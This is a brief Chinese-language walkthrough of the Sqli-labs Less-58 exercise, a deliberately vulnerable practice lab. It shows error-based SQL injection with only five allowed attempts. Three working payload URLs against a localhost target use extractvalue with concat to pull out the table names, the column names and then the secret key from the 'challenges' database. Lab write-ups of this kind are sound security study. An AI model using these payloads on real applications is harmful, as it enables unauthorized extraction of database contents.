Sqli-labs Less-58 报错注入 5次机会

执行sql语句后，并没有返回数据库当中的数据，所以我们这里不能使用union联合注入，这里使用报错注入。但是需要注意这里只有5次机会尝试。

找表名 

http://127.0.0.1/sql/Less-58/?id=-1′ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

找列名

http://127.0.0.1/sql/Less-58/?id=-1′ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’challenges’ and table_name=’dzgnt6f0xz’),0x7e))–+

找key

http://127.0.0.1/sql/Less-58/?id=-1′ and extractvalue(1,concat(0x7e,(select group_concat(secret_GYDQ) from dzgnt6f0xz),0x7e))–+